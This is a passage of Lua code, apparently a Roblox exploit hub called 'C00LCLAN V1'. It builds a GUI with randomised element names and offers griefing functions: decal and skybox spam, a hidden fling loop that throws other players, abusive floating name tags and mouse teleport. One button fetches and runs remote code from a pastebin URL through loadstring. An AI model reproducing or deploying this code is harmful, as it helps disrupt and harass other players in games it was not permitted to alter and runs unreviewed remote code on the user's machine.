local screenGui = Instance.new("ScreenGui")
screenGui.Name = generate_string(math_random(1, 10))
local die = screenGui.Name
screenGui.ResetOnSpawn= false
screenGui.Parent = PlayerGui
local notificationContainer = Instance.new("Frame")
notificationContainer.Name = "NotificationContainer"
notificationContainer.Size = UDim2.new(1, 0, 1, 0)
notificationContainer.Position = UDim2.new(0, 0, 0, 0)
notificationContainer.BackgroundTransparency = 1
notificationContainer.ZIndex = 100
notificationContainer.Parent = screenGui
local function Notify(text, title, duration)
duration = duration or 4
local frame = Instance.new("Frame")
frame.AnchorPoint = Vector2.new(1, 1)
frame.Size = UDim2.new(0, 300, 0, 70)
frame.Position = UDim2.new(1, 320, 1, -10)
frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0)
frame.BackgroundTransparency = 0
frame.BorderSizePixel = 0
frame.ZIndex = 200
frame.Parent = notificationContainer
local titleLabel = Instance.new("TextLabel")
titleLabel.BackgroundTransparency = 1
titleLabel.Size = UDim2.new(1, -10, 0, 24)
titleLabel.Position = UDim2.new(0, 5, 0, 4)
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.Text = title or "Notice"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 18
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.ZIndex = 201
titleLabel.Parent = frame
local bodyLabel = Instance.new("TextLabel")
bodyLabel.BackgroundTransparency = 1
bodyLabel.Size = UDim2.new(1, -10, 1, -30)
bodyLabel.Position = UDim2.new(0, 5, 0, 28)
bodyLabel.Font = Enum.Font.SourceSans
bodyLabel.Text = text or ""
bodyLabel.TextColor3 = Color3.new(1, 1, 1)
bodyLabel.TextSize = 14
bodyLabel.TextWrapped = true
bodyLabel.TextXAlignment = Enum.TextXAlignment.Left
bodyLabel.ZIndex = 201
bodyLabel.Parent = frame
task.defer(function()
local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Position = UDim2.new(1, -10, 1, -10)
})
slideIn:Play()
end)
task.delay(duration, function()
local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), {
BackgroundTransparency = 1,
Position = UDim2.new(1, 320, 1, -10)
})
local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1})
local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1})
fadeOut:Play()
titleFade:Play()
bodyFade:Play()
fadeOut.Completed:Wait()
frame:Destroy()
end)
end
local notificationLayout = Instance.new("UIListLayout")
notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder
notificationLayout.Padding = UDim.new(0, 6)
notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right
notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
notificationLayout.Parent = notificationContainer
Notify("Welcome to C00lClan!", "Have fun!", 3)
-- Main frame
local mainFrame = Instance.new("Frame")
mainFrame.Name = generate_string(math_random(1, 10))
mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT)
mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2)
mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Tooltip
local tooltip = Instance.new("TextLabel", screenGui)
tooltip.Name = generate_string(math_random(1, 10))
tooltip.Size = UDim2.new(0, 200, 0, 40)
tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30)
tooltip.BorderSizePixel = 0
tooltip.Visible = false
tooltip.ZIndex = 100
tooltip.ClipsDescendants = false
tooltip.TextColor3 = Color3.fromRGB(255, 255, 255)
tooltip.TextWrapped = true
-- Title bar
local titleBar = Instance.new("Frame", mainFrame)
titleBar.Name = generate_string(math_random(1, 10))
titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT)
titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0)
titleBar.BorderSizePixel = 0
local titleLabel = Instance.new("TextLabel", titleBar)
titleLabel.Size = UDim2.new(1,-60,1,0)
titleLabel.Position = UDim2.new(0,4,0,0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "C00LCLAN V1"
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.TextSize = 18
titleLabel.TextColor3 = Color3.new(1,1,1)
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Name = generate_string(math_random(1, 10))
local minBtn = Instance.new("TextButton", titleBar)
minBtn.Name = generate_string(math_random(1, 10))
minBtn.Size = UDim2.new(0,30,1,0)
minBtn.Position = UDim2.new(1,-30,0,0)
minBtn.Text = "_"
minBtn.Font = Enum.Font.SourceSansBold
minBtn.TextSize = 18
minBtn.TextColor3 = Color3.new(1,1,1)
minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10)
minBtn.BorderSizePixel = 0
-- Drag logic
local dragging, dragInput, dragStart, startPos = false, nil
local function updateDrag(input)
local delta = input.Position - dragStart
mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y)
end
titleBar.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 then
dragging, dragStart, startPos = true, i.Position, mainFrame.Position
i.Changed:Connect(function()
if i.UserInputState==Enum.UserInputState.End then dragging=false end
end)
end
end)
titleBar.InputChanged:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end
end)
UserInputService.InputChanged:Connect(function(i)
if i==dragInput and dragging then updateDrag(i) end
end)
-- Category nav
local catNav = Instance.new("Frame", mainFrame)
catNav.Name = generate_string(math_random(1, 10))
catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT)
catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT)
catNav.BackgroundTransparency = 1
local leftCat = Instance.new("TextButton", catNav)
leftCat.Size = UDim2.new(0,50,1,0)
leftCat.Text = "<"
leftCat.Font = Enum.Font.SourceSansBold
leftCat.TextSize = 24
leftCat.TextColor3 = Color3.new(1,1,1)
leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0)
leftCat.BorderSizePixel = 0
leftCat.Name = generate_string(math_random(1, 10))
local catLabel = Instance.new("TextLabel", catNav)
catLabel.Size = UDim2.new(1,-100,1,0)
catLabel.Position = UDim2.new(0,50,0,0)
catLabel.BackgroundTransparency = 1
catLabel.Text = "All"
catLabel.Font = Enum.Font.SourceSansBold
catLabel.TextSize = 18
catLabel.TextColor3 = Color3.new(1,1,1)
catNav.Name = generate_string(math_random(1, 10))
local rightCat = leftCat:Clone()
rightCat.Parent = catNav
rightCat.Position = UDim2.new(1,-50,0,0)
rightCat.Text = ">"
rightCat.Name = generate_string(math_random(1, 10))
-- Grid
local gridFrame = Instance.new("ScrollingFrame", mainFrame)
gridFrame.Name = generate_string(math_random(1, 10))
gridFrame.ClipsDescendants= true
gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING)
gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING)
gridFrame.BackgroundTransparency = 1
local gridLayout = Instance.new("UIGridLayout", gridFrame)
gridLayout.Name = generate_string(math_random(1, 10))
gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40)
gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING)
gridLayout.SortOrder = Enum.SortOrder.LayoutOrder
-- Footer
local footer = Instance.new("Frame", mainFrame)
footer.Name = generate_string(math_random(1, 10))
footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT)
footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT)
footer.BackgroundTransparency = 1
local closeBtn = Instance.new("TextButton", footer)
closeBtn.Size = UDim2.new(1,0,1,0)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 18
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0)
closeBtn.BorderSizePixel = 0
closeBtn.Name = generate_string(math_random(1, 10))
-- Minimize toggle
local minimized = false
minBtn.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized == true then
mainFrame.BackgroundTransparency = 1
else
mainFrame.BackgroundTransparency = 0
end
gridFrame.Visible = not minimized
catNav.Visible = not minimized
footer.Visible = not minimized
minBtn.Text = minimized and "◻" or "_"
end)
local function NotifyERROR(text)
Notify(text, "ERROR", 3)
end
-- Build the grid and tooltips
local function updateGrid()
for _, c in ipairs(gridFrame:GetChildren()) do
if c:IsA("TextButton") then c:Destroy() end
end
local cat = FunctionManager:getCurrentCategory()
catLabel.Text = cat
for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do
local btn = Instance.new("TextButton")
local isFE = FunctionManager.ISFE[name]
btn.Size = UDim2.new(1,0,0,40)
btn.BackgroundColor3 = Color3.fromRGB(70,10,10)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 16
btn.TextColor3 = Color3.new(1,1,1)
btn.Text = name
btn.TextWrapped = true
btn.Parent = gridFrame
btn.Name = generate_string(math_random(1, 10))
if isFE == "no" then
btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87)
end
-- tooltip
local desc = FunctionManager.Descriptions[name]
btn.MouseMoved:Connect(function()
if desc ~= "" and desc ~= nil then
tooltip.Text = desc
tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4)
tooltip.Visible = true
end
end)
btn.MouseLeave:Connect(function() tooltip.Visible = false end)
btn.MouseButton1Click:Connect(function()
pcall(cb)
end)
end
end
local logo = Instance.new("ImageLabel")
logo.Name = generate_string(math_random(1, 10))
logo.BackgroundTransparency = 1
logo.Size = UDim2.new(1, 0, 0, 100)
logo.Position = UDim2.new(0, -50, 0, -100)
logo.Image = "rbxassetid://87486058304609"
logo.ScaleType = Enum.ScaleType.Fit
logo.Parent = mainFrame
-- nav buttons
leftCat.MouseButton1Click:Connect(function()
FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1
updateGrid()
end)
rightCat.MouseButton1Click:Connect(function()
FunctionManager:cycleCategory()
updateGrid()
end)
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
FunctionManager.OnFunctionAdded.Event:Connect(updateGrid)
-- Initialize
updateGrid()
FunctionManager:register("Decal Spam", function()
local decalID = 8408806737
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = 8408806737
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
while true do
game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
end
end, "Troll", "NOT FE")
FunctionManager:register("JOHN DOE", function()
local redSkyboxAssetId = "rbxassetid://1012887"
local sky = Lighting:FindFirstChildOfClass("Sky")
if not sky then
sky = Instance.new("Sky", Lighting)
end
sky.SkyboxBk = redSkyboxAssetId
sky.SkyboxDn = redSkyboxAssetId
sky.SkyboxFt = redSkyboxAssetId
sky.SkyboxLf = redSkyboxAssetId
sky.SkyboxRt = redSkyboxAssetId
sky.SkyboxUp = redSkyboxAssetId
if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = ReplicatedStorage
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "PersistentSoundGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local button = Instance.new("TextButton")
button.Size = UDim2.new(0, 150, 0, 50)
button.Position = UDim2.new(0.02, 0, 0.477, 0)
button.Text = "Sound Toggle"
button.Font = Enum.Font.SourceSansBold
button.TextSize = 20
button.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
button.TextColor3 = Color3.new(1, 1, 1)
button.Parent = screenGui
local backgroundSound = SoundService:FindFirstChild("PersistentBGSound")
if not backgroundSound then
backgroundSound = Instance.new("Sound")
backgroundSound.Name = "PersistentBGSound"
backgroundSound.SoundId = "rbxassetid://19094700"
backgroundSound.PlaybackSpeed = 0.221
backgroundSound.Looped = true
backgroundSound.Volume = 1
backgroundSound.Parent = SoundService
backgroundSound:Play()
end
button.Activated:Connect(function()
backgroundSound.Playing = not backgroundSound.Playing
end)
local function setupCharacter(character)
local humanoid = character:WaitForChild("Humanoid")
local torso = character:WaitForChild("Torso")
local hrp = character:WaitForChild("HumanoidRootPart")
local tool = Instance.new("Tool")
tool.Name = "Slash"
tool.RequiresHandle = false
tool.Parent = player.Backpack
tool.Activated:Connect(function()
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://186934658"
local track = humanoid:LoadAnimation(animation)
track:Play()
track:AdjustSpeed(2)
local s = Instance.new("Sound", torso)
s.SoundId = "rbxassetid://28144425"
s:Play()
task.wait(0.2)
local s2 = Instance.new("Sound", torso)
s2.SoundId = "rbxassetid://429400881"
s2.Volume = 0.2
s2:Play()
end)
local naeeym = Instance.new("BillboardGui", character)
naeeym.Size = UDim2.new(0, 100, 0, 40)
naeeym.StudsOffset = Vector3.new(0, 2, 0)
naeeym.Adornee = character:WaitForChild("Head")
local tecks = Instance.new("TextLabel", naeeym)
tecks.BackgroundTransparency = 1
tecks.BorderSizePixel = 0
tecks.Font = Enum.Font.Fantasy
tecks.TextSize = 24
tecks.TextStrokeTransparency = 0
tecks.TextStrokeColor3 = Color3.new(0, 0, 0)
tecks.TextColor3 = Color3.new(0, 0, 0)
tecks.Size = UDim2.new(1, 0, 0.5, 0)
tecks.Text = "John Doe"
local function changeName(newName)
tecks.Text = newName
end
local function shakeTag()
local originalOffset = naeeym.StudsOffset
for _ = 1, 10 do
naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1))
task.wait(0.05)
end
naeeym.StudsOffset = originalOffset
end
coroutine.wrap(function()
while character:IsDescendantOf(workspace) do
changeName("BURN IN HELL")
shakeTag()
task.wait(0.2)
changeName("STOP")
task.wait(0.1)
changeName("JUST GIVE UP")
shakeTag()
task.wait(0.2)
changeName("STOP")
shakeTag()
task.wait(0.2)
changeName("JOHN DOE")
shakeTag()
task.wait(0.3)
changeName("HOPELESS")
shakeTag()
task.wait(0.3)
end
end)()
local footPartSize = Vector3.new(10, 0.5, 10)
local floorPartColor = BrickColor.Black()
local floorMaterial = Enum.Material.Neon
local yOffset = -2.8
local lastPosition = hrp.Position
local standingTimer = 0
RunService.Heartbeat:Connect(function(dt)
if not character:IsDescendantOf(workspace) then return end
local currentPosition = hrp.Position
standingTimer += dt
local distanceMoved = (currentPosition - lastPosition).Magnitude
local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z)
local function createFootstep(position)
local part = Instance.new("Part")
part.Size = footPartSize
part.Position = position
part.Anchored = true
part.CanCollide = false
part.BrickColor = floorPartColor
part.Material = floorMaterial
part.Transparency = 0.5
part.Parent = workspace
task.spawn(function()
for i = 1, 10 do
part.Transparency = i * 0.03
task.wait(0.05)
end
end)
Debris:AddItem(part, 1)
end
if distanceMoved > 1 then
createFootstep(stepPosition)
lastPosition = currentPosition
standingTimer = 0
elseif standingTimer > 0.5 then
createFootstep(stepPosition)
standingTimer = 0
end
end)
local movel = 0.1
local hiddenfling = true
local function fling()
while hiddenfling and character:IsDescendantOf(workspace) do
if hrp then
local originalVelocity = hrp.Velocity
hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0)
RunService.RenderStepped:Wait()
hrp.Velocity = originalVelocity
RunService.Stepped:Wait()
hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0)
movel = -movel
end
RunService.Heartbeat:Wait()
end
end
coroutine.wrap(fling)()
end
player.CharacterAdded:Connect(setupCharacter)
if player.Character then
setupCharacter(player.Character)
end
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local mouse = player:GetMouse()
local function teleportToMousePosition()
local character = player.Character
if not character or not character:FindFirstChild("HumanoidRootPart") then
return
end
local target = mouse.Hit
if target then
character:MoveTo(target.Position)
end
end
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.T then
teleportToMousePosition()
end
end)
end, "Trolling", "BROKEN")
FunctionManager:register("Invis gui", function()
loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))()
end, "Trolling", "Credits to the original maker!")
FunctionManager:register("DANCE", function()
local anim = Instance.new("Animation")
anim.AnimationId = "rbxassetid://27789359"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim)
track:Play()
end, "Fun", "DANCE DANCE")
FunctionManager:register("Sound GUI", function()
local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui")
if gui then
gui:Destroy()
return
end
local SoundGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local AddSoundId = Instance.new("TextButton")
local SoundIds = Instance.new("TextBox")
local Default = Instance.new("TextButton")
local Credits = Instance.new("TextLabel")
local Title = Instance.new("TextLabel")
local Swap = Instance.new("ImageButton")
local PlayBackSpeed = Instance.new("TextBox")
local Volume = Instance.new("TextBox")
local Looped = Instance.new("TextBox")
local Exit = Instance.new("ImageButton")
local Frame2 = Instance.new("Frame")
local Open = Instance.new("ImageButton")
local spoky = Instance.new("Sound")
local c00lflag = Instance.new("Sound")
local drag = Instance.new("UIDragDetector")
drag.Parent = Frame
c00lflag.Name = "c00lsound23sas"
c00lflag.Parent = Frame
spoky.Parent = Frame
spoky.SoundId = "rbxassetid://95156028272944"
spoky.Volume = 3
spoky.PlaybackSpeed = 0.2
spoky.Name = "spoky"
--Properties:
SoundGui.Name = "SoundGui"
SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
SoundGui.ResetOnSpawn = false
Frame.Parent = SoundGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(255, 0, 4)
Frame.BorderSizePixel = 2
Frame.Position = UDim2.new(0, 700, 0, 300)
Frame.Size = UDim2.new(0, 398, 0, 206)
AddSoundId.Name = "AddSoundId"
AddSoundId.Parent = Frame
AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0)
AddSoundId.BorderSizePixel = 2
AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0)
AddSoundId.Size = UDim2.new(0, 307, 0, 36)
AddSoundId.Font = Enum.Font.Arial
AddSoundId.Text = "Add Sound!"
AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255)
AddSoundId.TextSize = 29.000
SoundIds.Name = "SoundIds"
SoundIds.Parent = Frame
SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0)
SoundIds.BorderSizePixel = 2
SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
SoundIds.Size = UDim2.new(0, 307, 0, 33)
SoundIds.Font = Enum.Font.Arial
SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://"
SoundIds.Text = ""
SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255)
SoundIds.TextScaled = true
SoundIds.TextSize = 14.000
SoundIds.TextWrapped = true
Default.Name = "Default"
Default.Parent = Frame
Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Default.BorderColor3 = Color3.fromRGB(255, 0, 0)
Default.BorderSizePixel = 2
Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0)
Default.Size = UDim2.new(0, 307, 0, 28)
Default.Font = Enum.Font.Arial
Default.Text = "Spooky Scary Skeletons!"
Default.TextColor3 = Color3.fromRGB(255, 255, 255)
Default.TextSize = 23.000
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Credits.BackgroundTransparency = 1.000
Credits.BorderColor3 = Color3.fromRGB(0, 0, 0)
Credits.BorderSizePixel = 0
Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0)
Credits.Size = UDim2.new(0, 153, 0, 17)
Credits.Font = Enum.Font.SourceSans
Credits.Text = "made by: 1known. On discord!"
Credits.TextColor3 = Color3.fromRGB(255, 255, 255)
Credits.TextSize = 14.000
Title.Name = "Title"
Title.Parent = Frame
Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Title.BackgroundTransparency = 1.000
Title.BorderColor3 = Color3.fromRGB(255, 0, 4)
Title.BorderSizePixel = 2
Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0)
Title.Size = UDim2.new(0, 231, 0, 48)
Title.Font = Enum.Font.Arial
Title.Text = "c00lSound GUI!"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 33.000
Title.TextWrapped = true
Swap.Name = "Swap"
Swap.Parent = Frame
Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Swap.BorderColor3 = Color3.fromRGB(255, 0, 0)
Swap.BorderSizePixel = 0
Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0)
Swap.Size = UDim2.new(0, 23, 0, 21)
Swap.Image = "rbxassetid://2500573769"
PlayBackSpeed.Name = "PlayBackSpeed"
PlayBackSpeed.Parent = Frame
PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0)
PlayBackSpeed.BorderSizePixel = 2
PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33)
PlayBackSpeed.Visible = false
PlayBackSpeed.Font = Enum.Font.Arial
PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!"
PlayBackSpeed.Text = "1"
PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255)
PlayBackSpeed.TextScaled = true
PlayBackSpeed.TextSize = 14.000
PlayBackSpeed.TextWrapped = true
Volume.Name = "Volume"
Volume.Parent = Frame
Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Volume.BorderColor3 = Color3.fromRGB(255, 0, 0)
Volume.BorderSizePixel = 2
Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Volume.Size = UDim2.new(0, 307, 0, 33)
Volume.Visible = false
Volume.Font = Enum.Font.Arial
Volume.PlaceholderText = "Volume! Enter a number."
Volume.Text = "0.5"
Volume.TextColor3 = Color3.fromRGB(255, 255, 255)
Volume.TextScaled = true
Volume.TextSize = 14.000
Volume.TextWrapped = true
Looped.Name = "Looped"
Looped.Parent = Frame
Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Looped.BorderColor3 = Color3.fromRGB(255, 0, 0)
Looped.BorderSizePixel = 2
Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Looped.Size = UDim2.new(0, 307, 0, 33)
Looped.Visible = false
Looped.Font = Enum.Font.Arial
Looped.PlaceholderText = "Is it looped?, Type: False or True"
Looped.Text = "False"
Looped.TextColor3 = Color3.fromRGB(255, 255, 255)
Looped.TextScaled = true
Looped.TextSize = 14.000
Looped.TextWrapped = true
Exit.Name = "Exit"
Exit.Parent = Frame
Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Exit.BorderColor3 = Color3.fromRGB(255, 0, 0)
Exit.BorderSizePixel = 2
Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0)
Exit.Size = UDim2.new(0, 25, 0, 23)
Exit.Image = "rbxassetid://14930908086"
Frame2.Name = "Frame2"
Frame2.Parent = SoundGui
Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame2.BorderSizePixel = 0
Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0)
Frame2.Size = UDim2.new(0, 25, 0, 23)
Frame2.Visible = false
Open.Name = "Open"
Open.Parent = Frame2
Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Open.BorderColor3 = Color3.fromRGB(255, 0, 0)
Open.BorderSizePixel = 2
Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0)
Open.Size = UDim2.new(0, 25, 0, 23)
Open.Image = "rbxassetid://14930908086"
-- Scripts:
local function GSSVM_fake_script() -- AddSoundId.LocalScript
local script = Instance.new('LocalScript', AddSoundId)
local parent = script.Parent
parent.Activated:Connect(function()
local SoundId = parent.Parent:WaitForChild("SoundIds").Text
local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text
local Volume = parent.Parent:WaitForChild("Volume").Text
local looped = parent.Parent:WaitForChild("Looped").Text
if SoundId == "" then
parent.Text = "No Sound ID!"
wait(2)
parent.Text = "Add Sound!"
return
end
local id = "rbxassetid://" .. SoundId
local speed = tonumber(Playbackspeed) or 1
local existingSound = game.Workspace:FindFirstChild("c00lsound23sas")
if existingSound then
existingSound.SoundId = id
existingSound.PlaybackSpeed = speed
existingSound.Volume = Volume
if looped == "False" then
existingSound.Looped = false
elseif looped == "True" then
existingSound.Looped = true
else
existingSound.Looped = false
end
existingSound:Play()
else
local clonedSound = parent.Parent.c00lsound23sas:Clone()
clonedSound.Parent = game.Workspace
clonedSound.SoundId = id
clonedSound.PlaybackSpeed = speed
clonedSound.Volume = Volume
if looped == "False" then
clonedSound.Looped = false
elseif looped == "True" then
clonedSound.Looped = true
else
clonedSound.Looped = false
end
clonedSound.Looped = looped
clonedSound:Play()
end
parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!"
parent.TextScaled = true
wait(3.5)
parent.TextScaled = false
parent.Text = "Add Sound!"
end)
end
coroutine.wrap(GSSVM_fake_script)()
local function MWUVEW_fake_script() -- Default.LocalScript
local script = Instance.new('LocalScript', Default)
local parent = script.Parent
local sound = parent.Parent.spoky
parent.Activated:Connect(function()
if sound.Playing == true then
sound.Playing = false
else
sound.Playing = true
end
end)
end
coroutine.wrap(MWUVEW_fake_script)()
local function BIKZQ_fake_script() -- Swap.LocalScript
local script = Instance.new('LocalScript', Swap)
local parent = script.Parent
local playback = parent.Parent.PlayBackSpeed
local Sound = parent.Parent.SoundIds
local volume = parent.Parent.Volume
local looped = parent.Parent.Looped
parent.Activated:Connect(function()
if Sound.Visible == true then
Sound.Visible = false
playback.Visible = true
volume.Visible = false
looped.Visible = false
elseif playback.Visible ==true then
playback.Visible = false
Sound.Visible = false
volume.Visible = true
looped.Visible = false
elseif volume.Visible == true then
Sound.Visible = false
playback.Visible = false
volume.Visible = false
looped.Visible = true
elseif looped.Visible == true then
Sound.Visible = true
playback.Visible = false
volume.Visible = false
looped.Visible = false
end
end)
end
coroutine.wrap(BIKZQ_fake_script)()
local function AXYPXC_fake_script() -- Exit.LocalScript
local script = Instance.new('LocalScript', Exit)
local parent = script.Parent
local main = parent.Parent
parent.Activated:Connect(function()
main.Parent.Frame2.Visible = true
main.Visible = false
end)
end
coroutine.wrap(AXYPXC_fake_script)()
local function WHTXC_fake_script() -- Open.LocalScript
local script = Instance.new('LocalScript', Open)
local parent = script.Parent
local main = parent.Parent.Parent.Frame
parent.Activated:Connect(function()
main.Visible = true
parent.Parent.Visible = false
end)
end
